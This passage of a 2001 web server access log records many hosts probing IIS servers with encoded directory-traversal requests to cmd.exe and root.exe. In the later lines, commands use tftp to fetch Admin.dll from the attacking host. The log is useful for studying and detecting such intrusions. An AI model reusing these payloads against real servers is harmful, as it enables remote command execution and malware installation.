  8490. 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8491. 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8492. 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8493. 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8494. 20010919 04:48:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8495. 20010919 04:48:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8496. 20010919 04:48:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8497. 20010919 04:48:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8498. 20010919 04:48:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8499. 20010919 04:48:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8500. 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8501. 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8502. 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8503. 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8504. 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8505. 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8506. 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8507. 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8508. 20010919 04:50:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8509. 20010919 04:50:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8510. 20010919 04:50:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8511. 20010919 04:50:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8512. 20010919 04:50:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8513. 20010919 04:50:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8514. 20010919 04:50:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8515. 20010919 04:50:14: ns.kcci.or.kr [210.124.8.13] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8516. 20010919 04:52:09: ns.kcci.or.kr [210.124.8.13] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8517. 20010919 04:52:10: ns.kcci.or.kr [210.124.8.13] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8518. 20010919 04:52:14: ns.kcci.or.kr [210.124.8.13] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8519. 20010919 04:52:15: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8520. 20010919 04:52:15: ns.kcci.or.kr [210.124.8.13] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8521. 20010919 04:52:16: ns.kcci.or.kr [210.124.8.13] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8522. 20010919 04:52:16: ns.kcci.or.kr [210.124.8.13] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8523. 20010919 04:52:17: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8524. 20010919 04:52:21: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8525. 20010919 04:52:25: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8526. 20010919 04:52:26: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8527. 20010919 04:52:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8528. 20010919 04:59:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8529. 20010919 04:59:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8530. 20010919 04:59:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8531. 20010919 04:59:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8532. 20010919 04:59:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8533. 20010919 04:59:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8534. 20010919 04:59:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8535. 20010919 04:59:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8536. 20010919 04:59:13: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8537. 20010919 04:59:14: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8538. 20010919 04:59:14: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8539. 20010919 04:59:14: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8540. 20010919 04:59:15: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8541. 20010919 04:59:15: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8542. 20010919 04:59:15: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8543. 20010919 04:59:15: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8544. 20010919 05:00:54: sinfoforum.hkkk.fi [128.214.35.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8545. 20010919 05:00:55: sinfoforum.hkkk.fi [128.214.35.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8546. 20010919 05:00:55: sinfoforum.hkkk.fi [128.214.35.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8547. 20010919 05:00:55: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8548. 20010919 05:00:56: sinfoforum.hkkk.fi [128.214.35.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8549. 20010919 05:00:56: sinfoforum.hkkk.fi [128.214.35.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8550. 20010919 05:00:57: sinfoforum.hkkk.fi [128.214.35.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8551. 20010919 05:00:57: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8552. 20010919 05:00:57: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8553. 20010919 05:00:58: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8554. 20010919 05:00:58: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8555. 20010919 05:00:58: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8556. 20010919 05:00:59: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8557. 20010919 05:00:59: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8558. 20010919 05:00:59: sinfoforum.hkkk.fi [128.214.35.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8559. 20010919 05:01:00: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8560. 20010919 05:06:34: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8561. 20010919 05:06:34: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8562. 20010919 05:06:34: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8563. 20010919 05:06:34: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8564. 20010919 05:06:35: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8565. 20010919 05:06:35: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8566. 20010919 05:06:35: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8567. 20010919 05:06:35: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8568. 20010919 05:06:35: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8569. 20010919 05:06:36: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8570. 20010919 05:06:36: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8571. 20010919 05:06:36: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8572. 20010919 05:06:36: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8573. 20010919 05:06:36: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8574. 20010919 05:06:37: ntct42-102-dhcp.Colorado.EDU [128.138.42.102] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8575. 20010919 05:06:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8576. 20010919 05:09:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8577. 20010919 05:09:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8578. 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8579. 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8580. 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8581. 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8582. 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8583. 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8584. 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8585. 20010919 05:09:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8586. 20010919 05:09:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8587. 20010919 05:09:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8588. 20010919 05:09:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8589. 20010919 05:09:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8590. 20010919 05:09:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8591. 20010919 05:09:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8592. 20010919 05:10:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8593. 20010919 05:10:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8594. 20010919 05:10:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8595. 20010919 05:10:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8596. 20010919 05:10:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8597. 20010919 05:10:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8598. 20010919 05:10:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8599. 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8600. 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8601. 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8602. 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8603. 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8604. 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8605. 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8606. 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8607. 20010919 05:10:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8608. 20010919 05:11:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  8609. 20010919 05:11:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/Admin.dll HTTP/1.0"
  8610. 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8611. 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  8612. 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/Admin.dll HTTP/1.0"
  8613. 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8614. 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  8615. 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  8616. 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  8617. 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/Admin.dll HTTP/1.0"
  8618. 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8619. 20010919 05:11:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  8620. 20010919 05:11:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  8621. 20010919 05:11:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  8622. 20010919 05:11:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/Admin.dll HTTP/1.0"
  8623. 20010919 05:11:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8624. 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  8625. 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  8626. 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  8627. 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../Admin.dll HTTP/1.0"
  8628. 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8629. 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  8630. 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  8631. 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  8632. 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  8633. 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8634. 20010919 05:11:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  8635. 20010919 05:11:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  8636. 20010919 05:11:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  8637. 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  8638. 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8639. 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  8640. 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  8641. 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  8642. 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0"
  8643. 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8644. 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  8645. 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  8646. 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  8647. 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0"
  8648. 20010919 05:11:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8649. 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  8650. 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  8651. 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  8652. 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0"
  8653. 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8654. 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
